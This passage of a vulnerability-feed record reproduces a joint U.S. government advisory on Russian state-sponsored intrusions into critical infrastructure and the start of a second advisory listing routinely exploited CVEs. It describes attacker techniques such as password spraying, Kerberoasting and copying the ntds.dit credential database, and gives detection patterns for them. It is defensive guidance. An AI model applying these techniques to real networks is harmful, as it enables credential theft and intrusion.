credentials.\n\nIn some cases, Russian state-sponsored cyber operations against critical infrastructure organizations have specifically targeted operational technology (OT)/industrial control systems (ICS) networks with destructive malware. See the following advisories and alerts for information on historical Russian state-sponsored cyber-intrusion campaigns and customized malware that have targeted ICS:\n\n * ICS Advisory [ICS Focused Malware \u2013 Havex](<https://us-cert.cisa.gov/ics/advisories/ICSA-14-178-01>)\n * ICS Alert [Ongoing Sophisticated Malware Campaign Compromising ICS (Update E)](<https://us-cert.cisa.gov/ics/alerts/ICS-ALERT-14-281-01B>)\n * ICS Alert [Cyber-Attack Against Ukrainian Critical Infrastructure](<https://us-cert.cisa.gov/ics/alerts/IR-ALERT-H-16-056-01>)\n * Technical Alert [CrashOverride Malware](<https://us-cert.cisa.gov/ncas/alerts/TA17-163A>)\n * CISA MAR [HatMan: Safety System Targeted Malware (Update B)](<https://us-cert.cisa.gov/ics/MAR-17-352-01-HatMan-Safety-System-Targeted-Malware-Update-B>)\n * CISA ICS Advisory [Schneider Electric Triconex Tricon (Update B)](<https://us-cert.cisa.gov/ics/advisories/ICSA-18-107-02>)\n\nRussian state-sponsored APT actors have used sophisticated cyber capabilities to target a variety of U.S. and international critical infrastructure organizations, including those in the Defense Industrial Base as well as the Healthcare and Public Health, Energy, Telecommunications, and Government Facilities Sectors. High-profile cyber activity publicly attributed to Russian state-sponsored APT actors by U.S. government reporting and legal actions includes:\n\n * **Russian state-sponsored APT actors targeting state, local, tribal, and territorial (SLTT) governments and aviation networks, September 2020, through at least December 2020.** Russian state-sponsored APT actors targeted dozens of SLTT government and aviation networks. The actors successfully compromised networks and exfiltrated data from multiple victims.\n * **Russian state-sponsored APT actors\u2019 global Energy Sector intrusion campaign, 2011 to 2018. **These Russian state-sponsored APT actors conducted a multi-stage intrusion campaign in which they gained remote access to U.S. and international Energy Sector networks, deployed ICS-focused malware, and collected and exfiltrated enterprise and ICS-related data.\n * **Russian state-sponsored APT actors\u2019 campaign against Ukrainian critical infrastructure, 2015 and 2016.** Russian state-sponsored APT actors conducted a cyberattack against Ukrainian energy distribution companies, leading to multiple companies experiencing unplanned power outages in December 2015. The actors deployed [BlackEnergy](<https://attack.mitre.org/versions/v10/software/S0089>) malware to steal user credentials and used its destructive malware component, KillDisk, to make infected computers inoperable. In 2016, these actors conducted a cyber-intrusion campaign against a Ukrainian electrical transmission company and deployed [CrashOverride ](<https://attack.mitre.org/versions/v10/software/S0604>)malware specifically designed to attack power grids.\n\nFor more information on recent and historical Russian state-sponsored malicious cyber activity, see the referenced products below or [cisa.gov/Russia](<https://www.cisa.gov/uscert/russia>).\n\n * Joint FBI-DHS-CISA CSA [Russian Foreign Intelligence Service (SVR) Cyber Operations: Trends and Best Practices for Network Defenders](<https://us-cert.cisa.gov/ncas/alerts/aa21-116a>)\n * Joint NSA-FBI-CISA CSA [Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments](<https://media.defense.gov/2021/jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF>)\n * Joint FBI-CISA CSA [Russian State-Sponsored Advanced Persistent Threat Actor Compromises U.S. Government Targets](<https://www.cisa.gov/uscert/ncas/alerts/aa20-296a>)\n * Joint CISA-FBI CSA [APT Actors Chaining Vulnerabilities against SLTT, Critical Infrastructure, and Elections Organizations](<https://www.cisa.gov/uscert/ncas/alerts/aa20-283a>)\n * CISA\u2019s webpage [Remediating Networks Affected by the SolarWinds and Active Directory/M365 Compromise](<https://us-cert.cisa.gov/remediating-apt-compromised-networks>)\n * CISA Alert [Russian Government Cyber Activity Targeting Energy Sector and Other Critical Infrastructure Sectors](<https://us-cert.cisa.gov/ncas/alerts/TA18-074A>)\n * CISA ICS Alert: [Cyber-Attack Against Ukrainian Critical Infrastructure](<https://us-cert.cisa.gov/ics/alerts/ir-alert-h-16-056-01>)\n\nTable 1 provides common, publicly known TTPs employed by Russian state-sponsored APT actors, which map to the MITRE ATT&CK for Enterprise framework, version 10. **Note:** these lists are not intended to be all inclusive. Russian state-sponsored actors have modified their TTPs before based on public reporting.[[1](<https://www.ncsc.gov.uk/news/joint-advisory-further-ttps-associated-with-svr-cyber-actors>)] Therefore, CISA, the FBI, and NSA anticipate the Russian state-sponsored actors may modify their TTPs as they deem necessary to reduce their risk of detection. \n\n_Table 1: Common Tactics and Techniques Employed by Russian State-Sponsored APT Actors_\n\nTactic | **Technique** | **Procedure** \n---|---|--- \n \nReconnaissance [[TA0043](<https://attack.mitre.org/versions/v10/tactics/TA0043/>)]\n\n| \n\nActive Scanning: Vulnerability Scanning [[T1595.002](<https://attack.mitre.org/versions/v10/techniques/T1595/002/>)] \n \nRussian state-sponsored APT actors have performed large-scale scans in an attempt to find vulnerable servers. \n \nPhishing for Information [[T1598](<https://attack.mitre.org/versions/v10/techniques/T1598>)]\n\n| \n\nRussian state-sponsored APT actors have conducted spearphishing campaigns to gain credentials of target networks. \n \nResource Development [[TA0042]](<https://attack.mitre.org/versions/v10/tactics/TA0042/>)\n\n| \n\nDevelop Capabilities: Malware [[T1587.001](<https://attack.mitre.org/versions/v10/techniques/T1587/001>)]\n\n| \n\nRussian state-sponsored APT actors have developed and deployed malware, including ICS-focused destructive malware. \n \nInitial Access [[TA0001](<https://attack.mitre.org/versions/v10/tactics/TA0001/>)]\n\n| \n\nExploit Public Facing Applications [[T1190](<https://attack.mitre.org/versions/v10/techniques/T1190/>)]\n\n| \n\nRussian state-sponsored APT actors use publicly known vulnerabilities, as well as zero-days, in internet-facing systems to gain access to networks. \n \nSupply Chain Compromise: Compromise Software Supply Chain [[T1195.002](<https://attack.mitre.org/versions/v10/techniques/T1195/002>)]\n\n| \n\nRussian state-sponsored APT actors have gained initial access to victim organizations by compromising trusted third-party software. Notable incidents include M.E.Doc accounting software and SolarWinds Orion. \n \nExecution [[TA0002](<https://attack.mitre.org/versions/v10/tactics/TA0002>)]\n\n| \n\nCommand and Scripting Interpreter: PowerShell [[T1059.003](<https://attack.mitre.org/versions/v10/techniques/T1059/003>)] and Windows Command Shell [[T1059.003](<https://attack.mitre.org/versions/v10/techniques/T1059/003>)]\n\n| \n\nRussian state-sponsored APT actors have used `cmd.exe` to execute commands on remote machines. They have also used PowerShell to create new tasks on remote machines, identify configuration settings, exfiltrate data, and to execute other commands. \n \nPersistence [[TA0003](<https://attack.mitre.org/versions/v10/tactics/TA0003>)]\n\n| \n\nValid Accounts [[T1078](<https://attack.mitre.org/versions/v10/techniques/T1078/>)]\n\n| \n\nRussian state-sponsored APT actors have used credentials of existing accounts to maintain persistent, long-term access to compromised networks. \n \nCredential Access [[TA0006](<https://attack.mitre.org/versions/v10/tactics/TA0006>)]\n\n| \n\nBrute Force: Password Guessing [[T1110.001](<https://attack.mitre.org/versions/v10/techniques/T1110/001>)] and Password Spraying [[T1110.003](<https://attack.mitre.org/versions/v10/techniques/T1110/003>)]\n\n| \n\nRussian state-sponsored APT actors have conducted brute-force password guessing and password spraying campaigns. \n \nOS Credential Dumping: NTDS [[T1003.003](<https://attack.mitre.org/versions/v10/techniques/T1003/003/>)]\n\n| \n\nRussian state-sponsored APT actors have exfiltrated credentials and exported copies of the Active Directory database `ntds.dit`. \n \nSteal or Forge Kerberos Tickets: Kerberoasting [[T1558.003](<https://attack.mitre.org/versions/v10/techniques/T1558/003/>)]\n\n| \n\nRussian state-sponsored APT actors have performed \u201cKerberoasting,\u201d whereby they obtained the Ticket Granting Service (TGS) Tickets for Active Directory Service Principal Names (SPN) for offline cracking. \n \nCredentials from Password Stores [[T1555](<https://attack.mitre.org/versions/v10/techniques/T1555>)]\n\n| \n\nRussian state-sponsored APT actors have used previously compromised account credentials to attempt to access Group Managed Service Account (gMSA) passwords. \n \nExploitation for Credential Access [[T1212](<https://attack.mitre.org/versions/v10/techniques/T1212>)]\n\n| \n\nRussian state-sponsored APT actors have exploited Windows Netlogon vulnerability [CVE-2020-1472](<https://nvd.nist.gov/vuln/detail/CVE-2020-1472>) to obtain access to Windows Active Directory servers. \n \nUnsecured Credentials: Private Keys [[T1552.004](<https://attack.mitre.org/versions/v10/techniques/T1552/004>)]\n\n| \n\nRussian state-sponsored APT actors have obtained private encryption keys from the Active Directory Federation Services (ADFS) container to decrypt corresponding SAML signing certificates. \n \nCommand and Control [[TA0011](<https://attack.mitre.org/versions/v10/tactics/TA0011/>)]\n\n| \n\nProxy: Multi-hop Proxy [[T1090.003](<https://attack.mitre.org/versions/v10/techniques/T1090/003/>)]\n\n| \n\nRussian state-sponsored APT actors have used virtual private servers (VPSs) to route traffic to targets. The actors often use VPSs with IP addresses in the home country of the victim to hide activity among legitimate user traffic. \n \nFor additional enterprise TTPs used by Russian state-sponsored APT actors, see the ATT&CK for Enterprise pages on [APT29](<https://attack.mitre.org/versions/v10/groups/G0016>), [APT28](<https://attack.mitre.org/versions/v10/groups/G0007>), and the [Sandworm Team](<https://attack.mitre.org/versions/v10/groups/G0034>), respectively. For information on ICS TTPs see the [ATT&CK for ICS](<https://collaborate.mitre.org/attackics/index.php/Main_Page>) pages on the [Sandworm Team](<https://collaborate.mitre.org/attackics/index.php/Group/G0007>), [BlackEnergy 3 ](<https://collaborate.mitre.org/attackics/index.php/software/S0004>)malware, [CrashOveride](<https://collaborate.mitre.org/attackics/index.php/software/S0001>) malware, BlackEnergy\u2019s [KillDisk](<https://collaborate.mitre.org/attackics/index.php/software/S0016>) component, and [NotPetya](<https://collaborate.mitre.org/attackics/index.php/software/S0006>) malware.\n\n### Detection\n\nGiven Russian state-sponsored APT actors demonstrated capability to maintain persistent, long-term access in compromised enterprise and cloud environments, CISA, the FBI, and NSA encourage all critical infrastructure organizations to:\n\n * **Implement robust log collection and retention.** Without a centralized log collection and monitoring capability, organizations have limited ability to investigate incidents or detect the threat actor behavior described in this advisory. Depending on the environment, examples include: \n * Native tools such as M365\u2019s Sentinel. \n * Third-party tools, such as Sparrow, Hawk, or CrowdStrike's Azure Reporting Tool (CRT), to review Microsoft cloud environments and to detect unusual activity, service principals, and application activity. **Note:** for guidance on using these and other detection tools, refer to CISA Alert [Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments](<https://us-cert.cisa.gov/ncas/alerts/aa21-008a>).\n * **Look for behavioral evidence or network and host-based artifacts **from known Russian state-sponsored TTPs. See table 1 for commonly observed TTPs. \n * To detect password spray activity, review authentication logs for system and application login failures of valid accounts. Look for multiple, failed authentication attempts across multiple accounts.\n * To detect use of compromised credentials in combination with a VPS, follow the below steps: \n * Look for suspicious \u201cimpossible logins,\u201d such as logins with changing username, user agent strings, and IP address combinations or logins where IP addresses do not align to the expected user\u2019s geographic location.\n * Look for one IP used for multiple accounts, excluding expected logins.\n * Look for \u201cimpossible travel.\u201d Impossible travel occurs when a user logs in from multiple IP addresses that are a significant geographic distance apart (i.e., a person could not realistically travel between the geographic locations of the two IP addresses during the time period between the logins). **Note:** implementing this detection opportunity can result in false positives if legitimate users apply VPN solutions before connecting into networks.\n * Look for processes and program execution command-line arguments that may indicate credential dumping, especially attempts to access or copy the `ntds.dit` file from a domain controller. \n * Look for suspicious privileged account use after resetting passwords or applying user account mitigations. \n * Look for unusual activity in typically dormant accounts.\n * Look for unusual user agent strings, such as strings not typically associated with normal user activity, which may indicate bot activity.\n * For organizations with OT/ICS systems: \n * Take note of unexpected equipment behavior; for example, unexpected reboots of digital controllers and other OT hardware and software. \n * Record delays or disruptions in communication with field equipment or other OT devices. Determine if system parts or components are lagging or unresponsive.\n\n### Incident Response\n\nOrganizations detecting potential APT activity in their IT or OT networks should:\n\n 1. Immediately isolate affected systems. \n 2. Secure backups. Ensure your backup data is offline and secure. If possible, scan your backup data with an antivirus program to ensure it is free of malware.\n 3. Collect and review relevant logs, data, and artifacts.\n 4. Consider soliciting support from a third-party IT organization to provide subject matter expertise, ensure the actor is eradicated from the network, and avoid residual issues that could enable follow-on exploitation.\n 5. Report incidents to [CISA](<https://www.cisa.gov/uscert/report>) and/or the FBI via your [local FBI field office](<http://www.fbi.gov/contact-us/field>) or the FBI\u2019s 24/7 CyWatch at (855) 292-3937 or [CyWatch@fbi.gov](<mailto:CyWatch@fbi.gov>).\n\n**Note:** for OT assets, organizations should have a resilience plan that addresses how to operate if you lose access to\u2014or control of\u2014the IT and/or OT environment. Refer to the Mitigations section for more information.\n\nSee the joint advisory from Australia, Canada, New Zealand, the United Kingdom, and the United States on [Technical Approaches to Uncovering and Remediating Malicious Activity](<https://us-cert.cisa.gov/ncas/alerts/aa20-245a>) for guidance on hunting or investigating a network, and for common mistakes in incident handling. CISA, the FBI, and NSA encourage critical infrastructure owners and operators to see CISA\u2019s [Federal Government Cybersecurity Incident and Vulnerability Response Playbooks](<https://cisa.gov/sites/default/files/publications/Federal_Government_Cybersecurity_Incident_and_Vulnerability_Response_Playbooks_508C.pdf>). Although tailored to federal civilian branch agencies, these playbooks provide operational procedures for planning and conducting cybersecurity incident and vulnerability response activities and detail each step for both incident and vulnerability response. \n\n**Note: **organizations should document incident response procedures in a cyber incident response plan, which organizations should create and exercise (as noted in the Mitigations section). \n\n### Mitigations\n\nCISA, the FBI, and NSA encourage all organizations to implement the following recommendations to increase their cyber resilience against this threat.\n\n### Be Prepared\n\n#### _Confirm Reporting Processes and Minimize Coverage Gaps_\n\n * Develop internal contact lists. Assign main points of contact for a suspected incident as well as roles and responsibilities and ensure personnel know how and when to report an incident.\n * Minimize gaps in IT/OT security personnel availability by identifying surge support for responding to an incident. Malicious cyber actors are [known to target organizations on weekends and holidays](<https://us-cert.cisa.gov/ncas/alerts/aa21-243a>) when there are gaps in organizational cybersecurity\u2014critical infrastructure organizations should proactively protect themselves by minimizing gaps in coverage.\n * Ensure IT/OT security personnel monitor key internal security capabilities and can identify anomalous behavior. Flag any identified IOCs and TTPs for immediate response. (See table 1 for commonly observed TTPs).\n\n#### _Create, Maintain, and Exercise a Cyber Incident Response, Resilience Plan, and Continuity of Operations Plan_\n\n * Create, maintain, and exercise a cyber incident response and continuity of operations plan.\n * Ensure personnel are familiar with the key steps they need to take during an incident and are positioned to act in a calm and unified manner. Key questions: \n * Do personnel have the access they need?\n * Do they know the processes?\n * For OT assets/networks, \n * Identify a resilience plan that addresses how to operate if you lose access to\u2014or control of\u2014the IT and/or OT environment. \n * Identify OT and IT network interdependencies and develop workarounds or manual controls to ensure ICS networks can be isolated if the connections create risk to the safe and reliable operation of OT processes. Regularly test contingency plans, such as manual controls, so that safety critical functions can be maintained during a cyber incident. Ensure that the OT network can operate at necessary capacity even if the IT network is compromised.\n * Regularly test manual controls so that critical functions can be kept running if ICS or OT networks need to be taken offline.\n * Implement data backup procedures on both the IT and OT networks. Backup procedures should be conducted on a frequent, regular basis. Regularly test backup procedures and ensure that backups are isolated from network connections that could enable the spread of malware.\n * In addition to backing up data, develop recovery documents that include configuration settings for common devices and critical OT equipment. This can enable more efficient recovery following an incident.\n\n### Enhance your Organization\u2019s Cyber Posture\n\nCISA, the FBI, and NSA recommend organizations apply the best practices below for identity and access management, protective controls and architecture, and vulnerability and configuration management.\n\n#### _Identity and Access Management_\n\n * Require multi-factor authentication for all users, without exception.\n * Require accounts to have strong passwords and do not allow passwords to be used across multiple accounts or stored on a system to which an adversary may have access.\n * Secure credentials. Russian state-sponsored APT actors have demonstrated their ability to maintain persistence using compromised credentials. \n * Use virtualizing solutions on modern hardware and software to ensure credentials are securely stored.\n * Disable the storage of clear text passwords in LSASS memory.\n * Consider disabling or limiting New Technology Local Area Network Manager (NTLM) and WDigest Authentication.\n * Implement Credential Guard for Windows 10 and Server 2016 (Refer to [Microsoft: Manage Windows Defender Credential Guard](<https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage>) for more information). For Windows Server 2012R2, enable Protected Process Light for Local Security Authority (LSA).\n * Minimize the Active Directory attack surface to reduce malicious ticket-granting activity. Malicious activity such as \u201cKerberoasting\u201d takes advantage of Kerberos\u2019 TGS and can be used to obtain hashed credentials that attackers attempt to crack.\n * Set a [strong](<https://www.us-cert.cisa.gov/ncas/tips/ST04-002>) password policy for service accounts.\n * Audit Domain Controllers to log successful Kerberos TGS requests and ensure the events are monitored for anomalous activity. \n * Secure accounts.\n * Enforce the principle of least privilege. Administrator accounts should have the minimum permission they need to do their tasks.\n * Ensure there are unique and distinct administrative accounts for each set of administrative tasks.\n * Create non-privileged accounts for privileged users and ensure they use the non- privileged accounts for all non-privileged access (e.g., web browsing, email access).\n\n#### _Protective Controls and Architecture_\n\n * Identify, detect, and investigate abnormal activity that may indicate lateral movement by a threat actor or malware. Use network monitoring tools and host-based logs and monitoring tools, such as an endpoint detection and response (EDR) tool. EDR tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host.\n * Enable strong spam filters. \n * Enable strong spam filters to prevent phishing emails from reaching end users.\n * Filter emails containing executable files to prevent them from reaching end users.\n * Implement a user training program to discourage users from visiting malicious websites or opening malicious attachments.\n\n**Note:** CISA, the FBI, and NSA also recommend, as a longer-term effort, that critical infrastructure organizations implement network segmentation to separate network segments based on role and functionality. Network segmentation can help prevent lateral movement by controlling traffic flows between\u2014and access to\u2014various subnetworks.\n\n * Appropriately implement network segmentation between IT and OT networks. Network segmentation limits the ability of adversaries to pivot to the OT network even if the IT network is compromised. Define a demilitarized zone that eliminates unregulated communication between the IT and OT networks.\n * Organize OT assets into logical zones by taking into account criticality, consequence, and operational necessity. Define acceptable communication conduits between the zones and deploy security controls to filter network traffic and monitor communications between zones. Prohibit ICS protocols from traversing the IT network.\n\n#### _Vulnerability and Configuration Management_\n\n * Update software, including operating systems, applications, and firmware on IT network assets, in a timely manner. Prioritize patching [known exploited vulnerabilities](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>), especially those CVEs identified in this CSA, and then critical and high vulnerabilities that allow for remote code execution or denial-of-service on internet-facing equipment. \n * Consider using a centralized patch management system. For OT networks, use a risk-based assessment strategy to determine the OT network assets and zones that should participate in the patch management program. \n * Consider signing up for CISA\u2019s [cyber hygiene services](<https://www.cisa.gov/cyber-hygiene-services>), including vulnerability scanning, to help reduce exposure to threats. CISA\u2019s vulnerability scanning service evaluates external network presence by executing continuous scans of public, static IP addresses for accessible services and vulnerabilities.\n * Use industry recommended antivirus programs. \n * Set antivirus/antimalware programs to conduct regular scans of IT network assets using up-to-date signatures.\n * Use a risk-based asset inventory strategy to determine how OT network assets are identified and evaluated for the presence of malware.\n * Implement rigorous configuration management programs. Ensure the programs can track and mitigate emerging threats. Review system configurations for misconfigurations and security weaknesses.\n * Disable all unnecessary ports and protocols \n * Review network security device logs and determine whether to shut off unnecessary ports and protocols. Monitor common ports and protocols for command and control activity.\n * Turn off or disable any unnecessary services (e.g., PowerShell) or functionality within devices.\n * Ensure OT hardware is in read-only mode.\n\n### Increase Organizational Vigilance\n\n * Regularly review reporting on this threat. Consider signing up for CISA notifications to receive timely information on current security issues, vulnerabilities, and high-impact activity.\n\n### Resources\n\n * For more information on Russian state-sponsored malicious cyber activity, refer to [cisa.gov/Russia.](<https://www.us-cert.cisa.gov/russia>)\n * Refer to CISA Analysis Report [Strengthening Security Configurations to Defend Against Attackers Targeting Cloud Services](<https://us-cert.cisa.gov/ncas/analysis-reports/ar21-013a>) for steps for guidance on strengthening your organizations cloud security practices.\n * Leaders of small businesses and small and local government agencies should see [CISA\u2019s Cyber Essentials](<https://www.cisa.gov/cyber-essentials>) for guidance on developing an actionable understanding of implementing organizational cybersecurity practices.\n * Critical infrastructure owners and operators with OT/ICS networks, should review the following resources for additional information: \n * NSA and CISA joint CSA NSA and CISA Recommend Immediate Actions to Reduce Exposure Across Operational Technologies and Control Systems\n * CISA factsheet Rising Ransomware Threat to Operational Technology Assets for additional recommendations.\n\n### Rewards for Justice Program\n\nIf you have information on state-sponsored Russian cyber operations targeting U.S. critical infrastructure, contact the Department of State\u2019s Rewards for Justice Program. You may be eligible for a reward of up to $10 million, which DOS is offering for information leading to the identification or location of any person who, while acting under the direction or control of a foreign government, participates in malicious cyber activity against U.S. critical infrastructure in violation of the Computer Fraud and Abuse Act (CFAA). Contact +1-202-702-7843 on WhatsApp, Signal, or Telegram, or send information via the Rewards for Justice secure Tor-based tips line located on the Dark Web. For more details refer to [rewardsforjustice.net/malicious_cyber_activity.](<https://www.rewardsforjustice.net/malicious_cyber_activity.html>)\n\n### Caveats\n\nThe information you have accessed or received is being provided \u201cas is\u201d for informational purposes only. CISA, the FBI, and NSA do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA, the FBI, or NSA.\n\n### References\n\n[[1] Joint NCSC-CISA UK Advisory: Further TTPs Associated with SVR Cyber Actors](<https://www.ncsc.gov.uk/news/joint-advisory-further-ttps-associated-with-svr-cyber-actors>)\n\n### Revisions\n\nJanuary 11, 2022: Initial Version|January 25, 2022: Updated broken link|February 28, 2022: Updated broken link\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-03-01T12:00:00", "type": "ics", "title": "Understanding and Mitigating Russian State-Sponsored Cyber Threats to U.S. Critical Infrastructure", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-10149", "CVE-2019-11510", "CVE-2019-1653", "CVE-2019-19781", "CVE-2019-2725", "CVE-2019-7609", "CVE-2019-9670", "CVE-2020-0688", "CVE-2020-1472", "CVE-2020-14882", "CVE-2020-4006", "CVE-2020-5902", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2022-03-01T12:00:00", "id": "AA22-011A", "href": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-011a", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-03-14T18:31:18", "description": "### Summary\n\nThis Joint Cybersecurity Advisory was coauthored by the U.S. Cybersecurity and Infrastructure Security Agency (CISA), the Australian Cyber Security Centre (ACSC), the United Kingdom\u2019s National Cyber Security Centre (NCSC), and the U.S. Federal Bureau of Investigation (FBI). \n\nThis advisory provides details on the top 30 vulnerabilities\u2014primarily Common Vulnerabilities and Exposures (CVEs)\u2014routinely exploited by malicious cyber actors in 2020 and those being widely exploited thus far in 2021. \n\nCyber actors continue to exploit publicly known\u2014and often dated\u2014software vulnerabilities against broad target sets, including public and private sector organizations worldwide. However, entities worldwide can mitigate the vulnerabilities listed in this report by applying the available patches to their systems and implementing a centralized patch management system. \n\nClick here for a PDF version of this report.\n\n### Technical Details\n\n### Key Findings\n\nIn 2020, cyber actors readily exploited recently disclosed vulnerabilities to compromise unpatched systems. Based on available data to the U.S. Government, a majority of the top vulnerabilities targeted in 2020 were disclosed during the past two years. Cyber actor exploitation of more recently disclosed software flaws in 2020 probably stems, in part, from the expansion of remote work options amid the COVID-19 pandemic. The rapid shift and increased use of remote work options, such as virtual private networks (VPNs) and cloud-based environments, likely placed additional burden on cyber defenders struggling to maintain and keep pace with routine software patching.\n\n**Four of the most targeted vulnerabilities in 2020 affected remote work, VPNs, or cloud-based technologies. **Many VPN gateway devices remained unpatched during 2020, with the growth of remote work options challenging the ability of organizations to conduct rigorous patch management.\n\nCISA, ACSC, the NCSC, and FBI consider the vulnerabilities listed in table 1 to be the topmost regularly exploited CVEs by cyber actors during 2020. \n\n_Table 1:Top Routinely Exploited CVEs in 2020_\n\nVendor\n\n| \n\nCVE\n\n| \n\nType \n \n---|---|--- \n \nCitrix\n\n| \n\nCVE-2019-19781\n\n| \n\narbitrary code execution \n \nPulse\n\n| \n\nCVE 2019-11510\n\n| \n\narbitrary file reading \n \nFortinet\n\n| \n\nCVE 2018-13379\n\n| \n\npath traversal \n \nF5- Big IP\n\n| \n\nCVE 2020-5902\n\n| \n\nremote code execution (RCE) \n \nMobileIron\n\n| \n\nCVE 2020-15505\n\n| \n\nRCE \n \nMicrosoft\n\n| \n\nCVE-2017-11882\n\n| \n\nRCE \n \nAtlassian\n\n| \n\nCVE-2019-11580\n\n| \n\nRCE \n \nDrupal\n\n| \n\nCVE-2018-7600\n\n| \n\nRCE \n \nTelerik\n\n| \n\nCVE 2019-18935\n\n| \n\nRCE \n \nMicrosoft\n\n| \n\nCVE-2019-0604\n\n| \n\nRCE \n \nMicrosoft\n\n| \n\nCVE-2020-0787\n\n| \n\nelevation of privilege \n \nMicrosoft\n\n| \n\nCVE-2020-1472\n\n| \n\nelevation of privilege \n \nIn 2021, malicious cyber actors continued to target vulnerabilities in perimeter-type devices. Among those highly exploited in 2021 are vulnerabilities in Microsoft, Pulse, Accellion, VMware, and Fortinet.\n\nCISA, ACSC, the NCSC, and FBI assess that public and private organizations worldwide remain vulnerable to compromise from the exploitation of these CVEs. Malicious cyber actors will most likely continue to use older known vulnerabilities, such as CVE-2017-11882 affecting Microsoft Office, as long as they remain effective and systems remain unpatched. Adversaries\u2019 use of known vulnerabilities complicates attribution, reduces costs, and minimizes risk because they are not investing in developing a zero-day exploit for their exclusive use, which they risk losing if it becomes known. \n\nOrganizations are encouraged to remediate or mitigate vulnerabilities as quickly as possible to reduce the risk of exploitation. Most can be remediated by patching and updating systems. Organizations that have not remediated these vulnerabilities should investigate for the presence of IOCs and, if compromised, initiate incident response and recovery plans. See the Contact Information section below for how to reach CISA to report an incident or request technical assistance.\n\n### 2020 CVEs\n\nCISA, ACSC, the NCSC, and FBI have identified the following as the topmost exploited vulnerabilities by malicious cyber actors from 2020: CVE-2019-19781, CVE-2019-11510, CVE-2018-13379, CVE-2020-5902, CVE-2020-15505, CVE-2020-0688, CVE-2019-3396, CVE-2017-11882, CVE-2019-11580, CVE-2018-7600, CVE 2019-18935, CVE-2019-0604, CVE-2020-0787, CVE-2020-1472.[[1](<https://media.defense.gov/2021/Apr/15/2002621240/-1/-1/0/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF>)][[2](<https://media.defense.gov/2021/May/07/2002637232/-1/-1/0/ADVISORY FURTHER TTPS ASSOCIATED WITH SVR CYBER ACTORS.PDF>)][[3](<https://media.defense.gov/2020/Oct/20/2002519884/-1/-1/0/CSA_CHINESE_EXPLOIT_VULNERABILITIES_UOO179811.PDF>)] Among these vulnerabilities, CVE-2019-19781 was the most exploited flaw in 2020, according to U.S. Government technical analysis.CVE-2019-19781 is a recently disclosed critical vulnerability in Citrix\u2019s Application Delivery Controller (ADC)\u2014a load balancing application for web, application, and database servers widely use throughout the United States.[[4](<https://www.cyber.gov.au/acsc/view-all-content/advisories/2020-001-4-remediation-critical-vulnerability-citrix-application-delivery-controller-and-citrix-gateway>)][[5](<https://www.ncsc.gov.uk/news/citrix-alert>)] Nation-state and criminal cyber actors most likely favor using this vulnerability because it is easy to exploit, Citrix servers are widespread, and exploitation enables the actors to perform unauthorized RCE on a target system.[[6](<https://us-cert.cisa.gov/ncas/alerts/aa20-296a>)] \n\nIdentified as emerging targets in early 2020,[[7](<https://us-cert.cisa.gov/ncas/alerts/aa20-133a>)] unremediated instances of CVE-2019-19781 and CVE-2019-11510 continued to be exploited throughout the year by nation-state advanced persistent threat actors (APTs) who leveraged these and other vulnerabilities, such as CVE-2018-13379[[8](<https://www.cyber.gov.au/acsc/view-all-content/alerts/apt-exploitation-fortinet-vulnerabilities>)][[9](<https://www.ncsc.gov.uk/news/critical-risk-unpatched-fortinet-vpn-devices>)], in VPN services[[10](<https://media.defense.gov/2019/Oct/07/2002191601/-1/-1/0/Mitigating Recent VPN Vulnerabilities - Copy.pdf>)][[11](<https://www.ncsc.gov.uk/news/alert-vpn-vulnerabilities>)] to compromise an array of organizations, including those involved in COVID-19 vaccine development.[[12]](<https://media.defense.gov/2020/Jul/16/2002457639/-1/-1/0/NCSC_APT29_ADVISORY-QUAD-OFFICIAL-20200709-1810.PDF>)[[13](<https://www.cyber.gov.au/acsc/view-all-content/advisories/summary-tactics-techniques-and-procedures-used-target-australian-networks>)]\n\nThe CVE-2019-11510 vulnerability in Pulse Connect Secure VPN was also frequently targeted by nation-state APTs. Actors can exploit the vulnerability to steal the unencrypted credentials for all users on a compromised Pulse VPN server and retain unauthorized credentials for all users on a compromised Pulse VPN server and can retain unauthorize access after the system is patched unless all compromised credentials are changed. Nation-state APTs also commonly exploited CVE-2020-15505 and CVE-2020-5902.[[14](<https://us-cert.cisa.gov/ncas/alerts/aa20-010a>)][[15](<https://us-cert.cisa.gov/ncas/alerts/aa20-010a>)][[16](<https://www.cisa.gov/blog/2020/07/16/emergency-directive-ed-20-03-windows-dns-server-vulnerability>)][[17](<https://www.ncsc.gov.uk/news/alert-multiple-actors-attempt-exploit-mobileiron-vulnerability>)]\n\n### 2021 CVEs\n\nIn 2021, cyber actors continued to target vulnerabilities in perimeter-type devices. In addition to the 2020 CVEs listed above, organizations should prioritize patching for the following CVEs known to be exploited. \n\n * 